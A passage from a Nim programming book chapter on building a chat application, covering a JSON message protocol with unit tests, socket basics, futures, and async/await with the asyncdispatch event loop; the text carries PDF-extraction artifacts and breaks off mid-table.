Compilation now requires the --threads:on flag to enable Nim’s threading support. Without it, spawn can’t function. To compile and run the client.nim file, you should now be executing nim c -r --threads:on src/client.nim localhost. NIM CONFIG FILES Flags such as --threads:on can accumulate quickly, but the Nim compiler supports config files, which save you from having to retype all these flags on the command line. Simply create a client.nims file (beside the client.nim file) and add --threads:on there. Each flag needs to be on its own line, so you can add extra flags by separating them with newlines. To learn more about this configuration system, see the NimScript page: https://nim-lang.org/docs/nims.html. The client application still functions the same way as before, but the changes to the code that reads the standard input stream will be useful later on in this chapter. In the next section, I’ll show you how to add asynchronous networking code, allow- ing the client application to connect to the server. The server itself will use the same asynchronous I/O approach to communicate with more than one client at a time. You’ve now seen how to read input from the user in two different ways: from command-line parameters and from the standard input stream while your application is running. You also learned about the problem of blocking I/O, and I showed you one way to solve it. Now let’s move on to writing the protocol for your chat application. 3.4 Implementing the protocol Every application that communicates over a network with another application needs to define a protocol for that communication to ensure that the two applications can understand each other. A protocol is similar to a language—it’s a standard that’s mostly consistent and that can be understood by both of the communicating parties. Imagine trying to communicate in English with somebody who can speak only Chinese. As in figure 3.12, you won’t understand them, and they won’t understand you. Similarly, the Listing 3.5 Spawning readLine in a new thread Licensed to <null> 71 Implementing the protocol different components in your application must use the same language to understand each other. It’s important to remember that even if protocols are well defined, there’s still plenty of room for error, such as if the message isn’t transmitted correctly. This is why it’s vital that the code that parses messages can handle incorrectly formatted messages, or messages that don’t contain the necessary data. The code that I’ll show you in this section won’t go to great lengths to verify the validity of the messages it receives. But I will encourage you later on to add exception-handling code to verify the validity of messages and to provide the users of your code with better exception messages. Code that parses and generates a message is easy to test, so in this section, I’ll also show you some basic ways to test your code. The chat application’s protocol will be a simple one. The information that it will transfer between clients consists of two parts: the message that the user wants to send to the other clients, and the user’s name. There are many ways that this information could be encoded, but one of the simplest is to encode it as a JSON object. That’s what I’ll show you how to do. 3.4.1 Modules You’ve already seen many examples of modules, but I haven’t yet explained precisely what a module is. Your client.nim file is itself a module, and you’ve also imported modules from Nim’s standard library into your code using the import keyword. The upcoming message parser should ideally be written in a separate module, so it’s a good practical example to use as I teach you about modules. Many programming languages today utilize a module system. Nim’s module system is rather simple: every file ending with a .nim extension is a module. As long as the compiler can find the file, then it can be successfully imported. A module system allows you to separate the functionality of your application into independent modules. One advantage of this is that modules are interchangeable. As long as the interface of the module remains the same, the underlying implementation can be changed. Later on, you can easily use something other than JSON to encode the messages. By default, everything you define in a module is private, which means that it can only be accessed inside that module. Private definitions ensure that the implementa- tion details of modules are hidden, whereas public definitions are exposed to other Hello How are you? Good protocol Hi 你好 Bad protocol Figure 3.12 Good and bad protocols Licensed to <null> 72 CHAPTER 3 Writing a chat application modules. In some languages, the public and private keywords are used to specify the visibility of a definition.1 In Nim, each definition is private by default. You can make a definition public by using the * operator. The * can be placed at the end of procedure names, variable names, method names, and field names. The basics of the module system should be easy to grasp. There are some extra things to be aware of, but this should be enough to get you started writing simple modules. Chapter 4 looks at modules in more depth. To create a module for your new message parser, simply create a new file named protocol.nim in the src directory beside the client.nim file. Listing 3.6 shows the definition of the Message type, which will store the two pieces of information that a message from the server contains: the username of the client and the actual message. Both of these definitions are exported using the * marker. At the end, the parseMessage procedure is defined. It takes in a data parameter that contains the raw string received from a server. The parseMessage procedure then returns a new Message object containing the parsed data. This procedure is also exported, and together with the Message type it forms the public interface of the protocol module. type Message* = object username*: string message*: string proc parseMessage*(data: string): Message = discard Add the code in listing 3.6 to the protocol module you created, and make sure it compiles with nim c src/protocol. Now, let’s move on to implementing the parseMessage procedure. 3.4.2 Parsing JSON JSON is a very simple data format. It’s widely used, and Nim’s standard library has sup- port for both parsing and generating it. This makes JSON a good candidate for storing the two message fields. A typical JSON object contains multiple fields. The field names are simple quoted strings, and the values can be integers, floats, strings, arrays, or other objects. 1 In particular, C++ and Java use the public and private keywords to denote the visibility of identifiers. Listing 3.6 Message type definition and proc stub Defines a new Message type. The * export marker is placed after the name of the type. Field definitions follow the type definition and are exported in a similar way. Defines a new parseMessage procedure. The export marker is also used to export it. The discard is necessary because the body of a procedure can’t be empty. Licensed to <null> 73 Implementing the protocol Let’s look back to the conversation about Game of Thrones in listing 3.1. One of the first messages that I sent was, “What did you guys think about the latest Game of Thrones episode?” This can be represented using JSON like so. { "username": "Dominik", "message": "What did you guys think about the latest Game of Thrones episode?" } Parsing JSON is very easy in Nim. First, import the json module by adding import json to the top of your file. Then, replace the discard statement in the parseMessage proc with let dataJson = parseJson(data). The next listing shows the protocol module with the additions in bold. import json type Message* = object username*: string message*: string proc parseMessage*(data: string): Message = let dataJson = parseJson(data) The parseJson procedure defined in the json module accepts a string and returns a value of the JsonNode type. JsonNode is a variant type. This means that which fields in the object can be accessed is determined by the value of one or more other fields that are always defined in that type. In the case of JsonNode, the kind field determines the kind of JSON node that was parsed. There are seven different kinds of JSON values. The JsonNodeKind type is an enum with a value for each kind of JSON value. The following listing shows a list of various JSON values together with the JsonNodeKind types that they map to. import json assert parseJson("null").kind == JNull assert parseJson("true").kind == JBool assert parseJson("42").kind == JInt assert parseJson("3.14").kind == JFloat assert parseJson("\"Hi\"").kind == JString assert parseJson("""{ "key": "value" }""").kind == JObject assert parseJson("[1, 2, 3, 4]").kind == JArray Listing 3.7 A representation of a message in JSON Listing 3.8 Parsing JSON in protocol.nim Listing 3.9 The mapping between JSON values and the JsonNodeKind type The curly brackets define an object. The username field with the corresponding value The message field with the corresponding value Licensed to <null> 74 CHAPTER 3 Writing a chat application When you’re parsing arbitrary JSON data, a variant type is required because the com- piler has no way of knowing at compile time what the resulting JSON type should be. The type is only known at runtime. This is why the parseJson procedure returns a JsonNode type whose contents differ depending on the kind of JSON value that was passed into it. The last two JSON values shown in listing 3.9 are collections. The JObject kind rep- resents a mapping between a string and a JsonNode. The JArray kind stores a list of JsonNodes. You can access the fields of a JObject by using the [] operator. It’s similar to the array and sequence [] operator but takes a string as its argument. The string determines the field whose value you want to retrieve from the JObject. The [] oper- ator returns a JsonNode value. A little information about variant types A variant type is an object type whose fields change depending on the value of one or more fields. An example will make this clearer: type Box = object case empty: bool of false: contents: string else: discard var obj = Box(empty: false, contents: "Hello") assert obj.contents == "Hello" var obj2 = Box(empty: true) echo(obj2.contents) The preceding code shows how an ordinary box that may be empty can be modeled. The end of the listing shows an erroneous case where the contents of an empty box are accessed. It should be no surprise that compiling and running that code will result in an error: Traceback (most recent call last) variant.nim(13) variant system.nim(2533) sysFatal Error: unhandled exception: contents is not accessible [FieldError] This is a very simple variant type with only two states. You can also use enum types in the case statement of a variant type. This is common and is used in the Json- Node type. A variant type is defined much like other object types. The difference is the case statement under the definition of the object. This defines an empty field in this type. If the empty field is false, the fields defined under this branch will be accessible. The contents field will be accessible if empty == false. No additional fields are defined if empty == true. When the empty field is set to false in the constructor, the contents field can also be specified. Because obj.empty is false, the contents field can be accessed. This will result in an error because the contents field can’t be accessed, because empty is true. Licensed to <null> 75 Implementing the protocol import json let data = """ {"username": "Dominik"} """ let obj = parseJson(data) assert obj.kind == JObject assert obj["username"].kind == JString assert obj["username"].str == "Dominik" WARNING: THE KIND MATTERS Calling the [] operator with a string on a Json- Node whose kind field isn’t JObject will result in an exception being raised. So, how can you retrieve the username field from the parsed JsonNode? Simply using dataJson["username"] will return another JsonNode, unless the username field doesn’t exist in the parsed JObject, in which case a KeyError exception will be raised. In the preceding code, the JsonNode kind that dataJson["username"] returns is JString because that field holds a string value, so you can retrieve the string value using the getStr procedure. There’s a get procedure for each of the JsonNode kinds, and each get procedure will return a default value if the type of the value it’s meant to be returning doesn’t match the JsonNode kind. THE DEFAULT VALUE FOR GET PROCEDURES The default value returned by the get procedures can be overridden. To override, pass the value you want to be returned by default as the second argument to the procedure; for example, node.getStr("Bad kind"). Once you have the username, you can assign it to a new instance of the Message type. The next listing shows the full protocol module with the newly added assignments in bold. import json type Message* = object username*: string message*: string proc parseMessage*(data: string): Message = let dataJson = parseJson(data) result.username = dataJson["username"].getStr() result.message = dataJson["message"].getStr() Just add two lines of code, and you’re done. Listing 3.10 Assigning parsed data to the result variable Parses the data string and returns a JsonNode type, which is then assigned to the obj variable The returned JsonNode has a JObject kind because that’s the kind of the JSON contained in the data string. Fields are accessed using the [] operator. It returns another JsonNode, and in this case its kind is a JString. Because the [] operator returns a JsonNode, the value that it contains must be accessed explicitly via the field that contains it. In JString’s case, this is str. Generally you’re better off using the getStr proc. Gets the value under the "username" key and assigns its string value to the username field of the resulting Message Does the same here, but instead gets the value under the "message" key Licensed to <null> 76 CHAPTER 3 Writing a chat application You should test your code as quickly and as often as you can. You could do so now by starting to integrate your new module with the client module, but it’s much better to test code as separate units. The protocol module is a good unit of code to test in isolation. When testing a module, it’s always good to test each of the exported procedures to ensure that they work as expected. The protocol module currently exports only one procedure—the parseMessage procedure—so you only need to write tests for it. There are multiple ways to test code in Nim, but the simplest is to use the doAssert procedure, which is defined in the system module. It’s similar to the assert proce- dure: it takes one argument of type boolean and raises an AssertionFailed excep- tion if the value of that boolean is false. It differs from assert in one simple way: assert statements are optimized out when you compile your application in release mode (via the -d:release flag), whereas doAssert statements are not. RELEASE MODE By default, the Nim compiler compiles your application in debug mode. In this mode, your application runs a bit slower but performs checks that give you more information about bugs that you may have acciden- tally introduced into your program. When deploying your application, you should compile it with the -d:release flag, which puts it in release mode and provides optimal performance. Let’s define an input and then use doAssert to test parseMessage’s output. when isMainModule: block: Listing 3.11 Testing your new functionality The magical result variable You may be wondering where the result variable comes from in listing 3.10. The answer is that Nim implicitly defines it for you. This result variable is defined in all procedures that are defined with a return type: proc count10(): int = for i in 0 .. <10: result.inc assert count10() == 10 This means that you don’t need to repeatedly define a result variable, nor do you need to return it. The result variable is automatically returned for you. Take a look back at section 2.2.3 for more info. The < operator subtracts 1 from its input, so it returns 9 here. The when statement is a compile-time if statement that only includes the code under it if its condition is true. The isMainModule constant is true when the current module hasn’t been imported. The result is that the test code is hidden if this module is imported. Begins a new scope (useful for isolating your tests) Licensed to <null> 77 Implementing the protocol let data = """{"username": "John", "message": "Hi!"}""" let parsed = parseMessage(data) doAssert parsed.username == "John" doAssert parsed.message == "Hi!" Add the code in listing 3.11 to the bottom of your file, and then compile and run your code. Your program should execute successfully with no output. This is all well and good, but it would be nice to get some sort of message letting you know that the tests succeeded, so you can just add echo("All tests passed!") to the bottom of the when isMainModule block. Your program should now output that message as long as all the tests pass. Try changing one of the asserts to check for a different output, and observe what happens. For example, removing the exclamation mark from the doAssert parsed.message == "Hi!" statement will result in the following error: Traceback (most recent call last) protocol.nim(17) protocol system.nim(3335) raiseAssert system.nim(2531) sysFatal Error: unhandled exception: parsed.message == "Hi" [AssertionError] If you modify the protocol module and break your test, you may find that suddenly you’ll get such an error. You now have a test for the correct input, but what about incorrect input? Create another test to see what happens when the input is incorrect: block: let data = """foobar""" let parsed = parseMessage(data) Compile and run protocol.nim, and you should get the following output: Traceback (most recent call last) protocol.nim(21) protocol_progress protocol.nim(8) parseMessage json.nim(1086) parseJson json.nim(1082) parseJson json.nim(1072) parseJson json.nim(561) raiseParseErr Error: unhandled exception: input(1, 5) Error: { expected [JsonParsingError] Uses the triple-quoted string literal syntax to define the data to be parsed. The triple-quoted string literal means that the single quote in the JSON doesn’t need to be escaped. Calls the parseMessage procedure on the data defined previously Checks that the username that parseMessage parsed is correct Checks that the message that parseMessage parsed is correct Licensed to <null> 78 CHAPTER 3 Writing a chat application An exception is raised by parseJson because the specified data isn’t valid JSON. But this is what should happen, so define that in the test by catching the exception and making sure that an exception has been raised. block: let data = """foobar""" try: let parsed = parseMessage(data) doAssert false except JsonParsingError: doAssert true except: doAssert false An ideal way for the parseMessage proc to report errors would be by raising a custom exception. But this is beyond the scope of this chapter. I encourage you to come back and implement it once you’ve learned how to do so. For now, let’s move on to generat- ing JSON. 3.4.3 Generating JSON You successfully parsed the JSON, so let’s move on to generating JSON. The protocol module needs to be capable of both parsing and generating messages. Generating JSON is even simpler than parsing it. In Nim, JSON can be generated in multiple ways. One way is to simply create a string containing the correct JSON concatenated with values, as you did in your first test. This works, but it’s error prone because it’s easy to miss certain syntactical ele- ments of JSON. Another way is to construct a new JsonNode and convert it to a string using the $ operator. Let’s do that now. Start by defining a new createMessage procedure, and then use the % operator to create a new JsonNode object. The following listing shows how the createMessage procedure can be defined. proc createMessage*(username, message: string): string = result = $(%{ "username": %username, "message": %message }) & "\c\l" TABLE CONSTRUCTOR SYNTAX The {:} syntax used in listing 3.12 is called a table constructor. It’s simply syntactic sugar for an array constructor. For example, {"key1": "value1", "key2": "value2"} is the same as [("key1", "value1"), ("key2, "value2")]. Listing 3.12 Creating a new message This line should never be executed because parseMessage will raise an exception. Make sure that the exception that’s thrown is the expected one. The $ converts the JsonNode returned by the % operator into a string. The % converts strings, integers, floats, and more into the appropriate JsonNodes. A carriage return and the line feed characters are added to the end of the message. They act as separators for the messages. Licensed to <null> 79 Transferring data using sockets The % operator is very powerful because it can convert a variety of different value types into appropriate JsonNode types. This allows you to create JSON using a very intuitive syntax. The $ operator is, by convention, the operator used to convert any type to a string value. In the case of a JsonNode, the $ operator defined for it will produce a valid JSON string literal representation of the JsonNode object that was built. The addition of the carriage return and line feed, which some OSs use to signify newlines, will be useful later on when the client and server components need to receive messages. They’ll need a way to determine when a new message stops and another begins. In essence, these characters will be the message separators. In prac- tice, any separator could be used, but the \c\l sequence is used in many other proto- cols already and it’s supported by Nim’s networking modules. Just like with the parseMessage procedure, you should add tests for the create- Message procedure. Simply use doAssert again to ensure that the output is as expected. Remember to include \c\l in your expected output. The following code shows one test that could be performed—add it to the bottom of protocol.nim: block: let expected = """{"username":"dom","message":"hello"}""" & "\c\l" doAssert createMessage("dom", "hello") == expected Recompile your module and run it to ensure that the tests pass. You can also extend the tests further by checking different inputs, such as ones containing characters that have a special meaning in JSON (for example, the " character). If all the tests pass, you’ve successfully completed the protocol module. You’re now ready to move on to the final stage of developing this application! 3.5 Transferring data using sockets You’re now well on your way to completing this chat application. The protocol mod- ule is complete and the client module has mostly been completed. Before you finish the client module, let’s look at the so-far-completely neglected server. The server module is one of the most important modules. It will be compiled sep- arately to produce a server binary. The server will act as a central hub to which all the clients connect. The server will need to perform two primary tasks:  Listen for new connections from potential clients  Listen for new messages from clients that have already connected to the server Any messages that the server receives will need to be sent to every other client that is currently connected to it. Figure 3.4, from earlier in the chapter, showed the basic operation of the server and the clients. It was a simplified diagram, without any protocol details. Now that Note that triple-quoted string literals don’t support any character-escape sequences at all. As a workaround, I simply concatenate them. Licensed to <null> 80 CHAPTER 3 Writing a chat application you’re familiar with the protocol the chat application will be using, I can show you the exact messages that will be sent in figure 3.4. First, assume that the server has successfully accepted connections from Dom, John, and Grace. The following events occur: 1 Dom sends a message to the server. {"username": "Dom", "message": "Hello"}\c\l 2 The server passes this message on to the other clients: John and Grace. {"username": "Dom", "message": "Hello"}\c\l The server simply passes any messages that it receives to the other clients. For simplic- ity, the identity of the clients is not verified, so it’s possible for them to impersonate other users. At the end of this chapter, we’ll consider ways to improve this application, and security will be one aspect that you’ll be encouraged to reinforce. For now, though, let’s create the server module. You can begin by defining the types that will be used by it. First, create a new server.nim file in the src directory. Then, create the types shown in the following listing. import asyncdispatch, asyncnet type Client = ref object socket: AsyncSocket netAddr: string id: int connected: bool Server = ref object socket: AsyncSocket clients: seq[Client] The Server and Client types are both defined as reference types, which you might recall from chapter 2. Being defined this way allows procedures that take these types as arguments to modify them. This will be essential, because new elements will need to be added to the clients field when new clients connect. The Server type holds information that’s directly related to the server, such as the server socket and the clients that have connected to it. Similarly, the Client type rep- resents a single client that connected to the server, and it includes fields that provide useful information about each client. For example, the netAddr field will contain the IP address of the client, and the id field will hold a generated identity for each client, Listing 3.13 Standard library imports and type definitions Imports the asyncdispatch and asyncnet modules, which contain the procedures and types needed to use asynchronous sockets Starts a new type section Defines the Client type as a reference type Specifies the socket belonging to the client; the AsyncSocket type is an asynchronous socket The field that stores the address from which this client has connected A flag that determines whether this client is still connected The identification number of this client Defines the Server type as a reference type The server socket for accepting new client connections A list of Client objects that have connected Licensed to <null> 81 Transferring data using sockets allowing you to distinguish between them. The connected flag is important because it tracks whether the client is still connected. The server needs to know this, because it shouldn’t attempt to send messages to a disconnected client. All that’s left now is to create a constructor for the newly defined Server type. For a ref type, such as the Server type, the procedure should be named newServer: proc newServer(): Server = Server(socket: newAsyncSocket(), clients: @[]) This will create a new instance of the Server type and initialize its socket and clients sequence. You can now call this procedure and assign it to a new server variable. var server = newServer() Constructors in Nim Constructors in Nim are simply procedures with a specific naming convention. Nim doesn’t include any special syntax for defining constructors, but it does include some simple syntax for constructing your custom types, which you may recall from chapter 2. Tuples can be constructed by placing values in parentheses: type Point = tuple[x, y: int] var point = (5, 10) var point2 = (x: 5, y: 10) Objects, including ref objects, can be constructed by calling the type—as if it were a procedure—and then specifying each field name and value separated by a colon: type Human = object name: string age: int var jeff = Human(name: "Jeff", age: 23) var alex = Human(name: "Alex", age: 20) There’s no way to override these, so if you need more-complex constructors, you’ll need to define a procedure. There’s a convention in Nim for naming these constructor procedures; this table shows these conventions and how they apply to different type definitions. Constructor naming conventions Type definition Name MyType = object initMyType MyTypeRef = ref object newMyTypeRef MyTuple = tuple[x, y: int] initMyTuple Licensed to <null> 82 CHAPTER 3 Writing a chat application Add the newServer procedure and server variable definitions below the types created in listing 3.13. The resulting code gives you a good base to begin adding the network- ing code to. But before we get into that, let’s look at how networking, particularly asynchro- nous networking, works in Nim. We’ll begin by looking at the basic tool used to trans- fer data over a network: a socket. 3.5.1 What is a socket? In almost every programming language, transferring data over a network is done using network sockets. In Nim, a network socket is represented using the Socket type. This type is defined in the net module, and a new instance of it can be created using the newSocket procedure. Sockets share some similarities with file descriptors in that they support operations such as write, read, open, and close. But in practice, sockets differ enough to expose a different interface. Table 3.1 shows some of the common socket procedures and their file descriptor equivalents. Sockets can be customized a great deal by specifying different options in the new- Socket constructor. By default, the newSocket constructor will create a TCP socket, which is handy because TCP is the protocol that the chat application will use. TCP is a connection-oriented transport protocol that allows the socket to be used as a server or as a client. A newly created TCP socket is neither until the bindAddr or connect procedure is called. The former transforms it into a server socket, and the lat- ter a client socket. We’ll create a server socket first, as that’s what is needed for the server component of this application. A server socket’s main purpose is to listen for new connections and accept them with as little delay as possible. But before this can be done, the socket must first be bound to an address and port. Figure 3.13 shows the procedures that need to be called to successfully create and bind a server socket. Table 3.1 Common socket procedures Procedure File equivalent Description recv read Allows incoming data to be read from the remote side. For TCP sockets, recv is used, and for UDP sockets, recvFrom is used. send write Sends data to a socket, allowing data to be sent to the remote side. For TCP sockets, send is used, and for UDP sockets, sendTo is used. connect open Connects a socket to a remote server. This is typically only used for TCP sockets. bindAddr None Binds a socket to the specified address and port. When called, the socket becomes a server socket, and other sockets can con- nect to it. This is typically only used for TCP sockets. Licensed to <null> 83 Transferring data using sockets First, every server socket needs to be explicitly bound to a specific port and address. This can be done using the bindAddr procedure, which takes a port as the first argu- ment and an address as the second. By default, the address is simply localhost, but the port must always be specified. You can specify whatever port you wish, but there are some ports that are often used by other applications, such as port 80, which is used by HTTP servers. Also, binding to a port less than or equal to 1024 requires administra- tor privileges. Second, before the socket can start accepting connections, you must call the listen procedure on it. The listen procedure tells the socket to start listening for incoming connections. New connections can then be accepted by using the accept procedure. This proce- dure returns a new client socket, which corresponds to the socket that just connected to the address and port specified in the call to bindAddr. DETAILS ABOUT SOCKETS Don’t worry about remembering all the details in this section. Use it as a reference together with the next sections, which will show you how to put this knowledge into practice. Much like reading data from the standard input, the accept procedure blocks your application until a new connection is made. This is a problem, but one that’s easy to solve thanks to Nim’s support for asynchronous sockets. Asynchronous sockets don’t block and can be used instead of synchronous sockets without much trouble. They’re defined in the asyncnet module, and I’ll explain how they work in the next section. 3.5.2 Asynchronous input/output Nim supports many abstractions that make working with asynchronous I/O simple. This is achieved in part by making asynchronous I/O very similar to synchronous I/O, so your I/O code doesn’t need to be particularly complex. Server socket bindAddr listen accept Client socket 7687.Port "localhost" Thread blocked Figure 3.13 The steps needed to start accepting new connections on a server socket Licensed to <null> 84 CHAPTER 3 Writing a chat application Let’s first look at the accept procedure in more detail. This procedure takes one parameter, a server socket, which is used to retrieve new clients that have connected to the specified server socket. The fundamental difference between the synchronous and asynchronous versions of the accept procedure is that the synchronous accept procedure blocks the thread it’s called in until a new socket has connected to the server socket, whereas the asyn- chronous accept procedure returns immediately after it’s called. But what does the asynchronous version return? It certainly can’t return the accepted socket immediately, because a new client may not have connected yet. Instead, it returns a Future[AsyncSocket] object. To understand asynchronous I/O, you’ll need to understand what a future is, so let’s look at it in more detail. THE FUTURE TYPE A Future is a special type that goes by many names in other languages, including prom- ise, delay, and deferred. This type acts as a proxy for a result that’s initially unknown, usu- ally because the computation of its value is not yet complete. You can think of a future as a container; initially it’s empty, and while it remains empty you can’t retrieve its value. At some unknown point in time, something is placed in the container and it’s no longer empty. That’s where the name future comes from. Every asynchronous operation in Nim returns a Future[T] object, where the T cor- responds to the type of value that the Future promises to store in the future. The Future[T] type is defined in the asyncdispatch module, and you can easily experiment with it without involving any asynchronous I/O operations. The next list- ing shows the behavior of a simple Future[int] object. import asyncdispatch var future = newFuture[int]() doAssert(not future.finished) future.callback = proc (future: Future[int]) = echo("Future is no longer empty, ", future.read) future.complete(42) Listing 3.14 Simple Future[int] example The asyncdispatch module needs to be imported because it defines the Future[T] type. A new future can be initialized with the newFuture constructor. A future starts out empty; when a future isn’t empty, the finished procedure will return true. The callback is given the future whose value was set as a parameter. A callback can be set, and it will be called when the future’s value is set. The read procedure is used to retrieve the value of the future. A future’s value can be set by calling the complete procedure. Licensed to <null> 85 Transferring data using sockets Futures can also store an exception in case the computation of the value fails. Calling read on a Future that contains an exception will result in an error. To demonstrate the effects of this, modify the last line of listing 3.14 to future.fail(newException(ValueError, "The future failed")). Then compile and run it. The application should crash with the following output: Traceback (most recent call last) system.nim(2510) ch3_futures asyncdispatch.nim(242) fail asyncdispatch.nim(267) :anonymous ch3_futures.nim(8) :anonymous asyncdispatch.nim(289) read Error: unhandled exception: The future failed unspecified's lead up to read of failed Future: Traceback (most recent call last) system.nim(2510) ch3_futures asyncdispatch.nim(240) fail [Exception] As you can see, the error message attempts to include as much information as possi- ble. But the way it’s presented isn’t ideal. The error messages produced by futures are still being worked on and should improve with time. It’s a good idea to get to know what they look like currently, as you’ll undoubtedly see them when writing asynchro- nous applications in Nim. The preceding exception is caused by calling read on a future that had an excep- tion stored inside it. To prevent that from occurring, you can use the failed proce- dure, which returns a Boolean that indicates whether the future completed with an exception. One important thing to keep in mind when working with futures is that unless they’re explicitly read, any exceptions that they store may silently disappear when the future is deallocated. As such, it’s important not to discard futures but to instead use the asyncCheck procedure to ensure that any exceptions are reraised in your program. THE DIFFERENCE BETWEEN SYNCHRONOUS AND ASYNCHRONOUS EXECUTION Hopefully, by now you understand how futures work. Let’s go back to learning a little bit more about asynchronous execution in the context of the accept procedure. Fig- ure 3.14 shows the difference between calling the synchronous version of accept and the asynchronous version. As mentioned earlier, the asynchronous accept returns a Future object immedi- ately, whereas the synchronous accept blocks the current thread. While the thread is blocked in the synchronous version, it’s idle and performs no useful computational work. The asynchronous version, on the other hand, can perform computational work as long as this work doesn’t require the client socket. It may involve client sockets that have connected previously, or it may involve calculating the 1025th decimal digit of π. In figure 3.14, this work is masked beneath a doWork procedure, which could be doing any of the tasks mentioned. unspecified is the name of the Future. It’s called unspecified because the future is created with no name. You can name futures for better debugging by specifying a string in the newFuture constructor. Licensed to <null> 86 CHAPTER 3 Writing a chat application The asynchronous version performs many more calls to doWork() than the synchro- nous version. It also retains the call to doWork(socket), leading to the same code logic but very different performance characteristics. It’s important to note that the asynchronous execution described in figure 3.14 has a problem. It demonstrates what’s known as busy waiting, which is repeatedly checking whether the Future is empty or not. This technique is very inefficient because CPU time is wasted on a useless activity. To solve this, each Future stores a callback that can be overridden with a custom procedure. Whenever a Future is completed with a value or an exception, its callback is called. Using a callback in this case would prevent the busy waiting. EXAMPLE OF ASYNCHRONOUS I/O USING CALLBACKS The term callback provokes a feeling of horror in some people. But not to worry. You won’t be forced to use callbacks in Nim. Although the most basic notification mecha- nism Futures expose is a callback, Nim provides what’s known as async await, which hides these callbacks from you. You’ll learn more about async await later. But although you’re not forced to use callbacks in Nim, I’ll first explain asynchro- nous I/O by showing you how it works with callbacks. That’s because you’re likely more familiar with callbacks than with async await. Let’s start with a comparison between Node and Nim, and not a comparison involving sockets but something much simpler: the reading of a file asynchronously. var fs = require('fs'); fs.readFile('/etc/passwd', function (err, data) { if (err) throw err; console.log(data); }); Listing 3.15 Reading files asynchronously in Node Server socket accept Client socket Thread blocked Synchronous Server socket accept Future Future empty? true false Future.read doWork(socket) doWork() Asynchronous doWork() doWork(socket) Client socket Figure 3.14 The difference between synchronous and asynchronous accept Licensed to <null> 87 Transferring data using sockets The code in the preceding listing is taken straight from Node’s documentation.2 It simply reads the contents of the /etc/passwd file asynchronously. When this script is executed, the readFile function tells the Node runtime to read the file specified by the path in the first argument, and once it’s finished doing so, to call the function specified in the second argument. The readFile function itself returns immediately, and control is given back implicitly to the Node runtime. Now compare it to the Nim version. import asyncdispatch, asyncfile var file = openAsync("/etc/passwd") let dataFut = file.readAll() dataFut.callback = proc (future: Future[string]) = echo(future.read()) asyncdispatch.runForever() The Nim version may seem more complex at first, but that’s because Nim’s standard library doesn’t define a single readFile procedure, whereas Node’s standard library does. Instead, you must first open the file using the openAsync procedure to get an AsyncFile object, and then you can read data from that object.3 Other than that difference in standard library APIs, the Nim version also differs in one more important way: the readAll procedure doesn’t accept a callback. Instead, it returns a new instance of the Future type. The callback is then stored in the Future and is called once the future completes. THE EVENT LOOP In a Node application, the runtime is a form of event loop—it uses native operating system APIs to check for various events. One of these might be a file being successfully read or a socket receiving data from the server that it’s connected to. The runtime dis- patches these events to the appropriate callbacks. Nim’s event loop is defined in the asyncdispatch module. It’s similar to Node’s runtime in many ways, except that it needs to be explicitly executed. One way to do this is to call the runForever procedure. Figure 3.15 shows the behavior of the run- Forever procedure. 2 See the Node.js fs.readFile documentation: https://nodejs.org/api/fs.html#fs_fs_readfile_file_options_ callback. Listing 3.16 Reading files asynchronously in Nim 3 Creating a single readFile procedure would be a fairly trivial undertaking. I leave the challenge of creating such a procedure to you. Opens the "/etc/passwd" file asynchronously and binds it to the file variable Asks for all of the contents of the file to be read, and assigns the resulting Future[string] type to the dataFut variable Assigns a new callback to be called when the future completes Inside the callback, reads the contents of the future that should now be present Explicitly runs the event loop that’s defined in the asyncdispatch module Licensed to <null> 88 CHAPTER 3 Writing a chat application The Nim event loop puts you in control. The runForever procedure is simply a wrap- per around the poll procedure, which the runForever procedure calls in an infinite loop. You can call the poll procedure yourself, which will give you greater control over the event loop. The poll procedure waits for events for a specified number of milliseconds (500 ms by default), but it doesn’t always take 500 ms to finish because events can occur much earlier than that. Once an event is created, the poll proce- dure processes it and checks each of the currently pending Future objects to see if the Future is waiting on that event. If it is, the Future’s callback is called, and any appro- priate values that are stored inside the future are populated. In contrast to synchronous I/O, which can block for an unlimited amount of time, the poll procedure also blocks, but only for a finite amount of time, which can be freely specified. This allows you to commit a certain amount of time to I/O processing and the rest to other tasks, such as drawing a GUI or performing a CPU-intensive calcu- lation. I’ll show you how to utilize this procedure later in the client module, so that async sockets can be mixed with the readLine procedure that reads the standard input stream in another thread. ASYNC AWAIT There’s a big problem with using callbacks for asynchronous I/O: for complex appli- cation logic, they’re not flexible, leading to what’s aptly named callback hell. For exam- ple, suppose you want to read another file after a first one has been read. To do so, you’re forced to nest callbacks, and you end up with code that becomes ugly and unmaintainable. Nim has a solution to this problem: the await keyword. It eliminates callback hell completely and makes asynchronous code almost identical to synchronous code. The await keyword can only be used inside procedures marked with the {.async.} pragma. The next listing shows how to read and write files using an async procedure. runForever poll Read/write event Future.callback() 500 ms asyncdispatch event loop Blocked for up to 500 ms No events Figure 3.15 Nim’s asyncdispatch event loop Licensed to <null> 89 Transferring data using sockets import asyncdispatch, asyncfile proc readFiles() {.async.} = var file = openAsync("/home/profile/test.txt", fmReadWrite) let data = await file.readAll() echo(data) await file.write("Hello!\n") file.close() waitFor readFiles() Listing 3.17 performs the same actions and more than the code in listing 3.16. Every time the await keyword is used, the execution of the readFiles procedure is paused until the Future that’s awaited is completed. Then the procedure resumes its execution, and the value of the Future is read automatically. While the procedure is paused, the application continues running, so the thread is never blocked. This is all done in a single thread. Multiple async procedures can be paused at any point, waiting for an event to resume them, and callbacks are used in the background to resume these procedures. Every procedure marked with the {.async.} pragma must return a Future[T] object. In listing 3.17, the procedure might seem like it returns nothing, but it returns a Future[void]; this is done implicitly to avoid the pain of writing Future[void] all the time. Any procedure that returns a Future[T] can be awaited. Figure 3.16 shows what the execution of listing 3.17 looks like. The waitFor procedure that’s used instead of runForever runs the event loop until the readFiles procedure finishes its execution. Table 3.2 compares all the dif- ferent async keywords you’ve seen so far. Listing 3.17 Reading files and writing to them in sequence using await Table 3.2 Comparison of common async keywords Procedure Controls event loop directly Use case Description runForever Yes Usually used for server applications that need to stay alive indefinitely. Runs the event loop forever. waitFor Yes Usually used for applications that need to quit after a specific asynchro- nous procedure finishes its execution. Runs the event loop until the speci- fied future completes. The {.async.} pragma is used to specify that the readFiles procedure is asynchronous. Opens the ~/test.txt file asynchronously in fmReadWrite mode so that the file can be read and written to The await keyword signifies that readFiles should be paused until the file is fully read. Displays the contents of the file Writes some data to the file. The procedure is paused until the data is successfully written to the file. Runs the event loop until readFiles finishes Licensed to <null> 90 CHAPTER 3 Writing a chat application poll Yes For applications that need precise control of the event loop. The runForever and waitFor proce- dures call this. Listens for events for the specified amount of time. asyncCheck No Used for discarding futures safely, typ- ically to execute an async proc without worrying about its result. Sets the specified future’s callback property to a 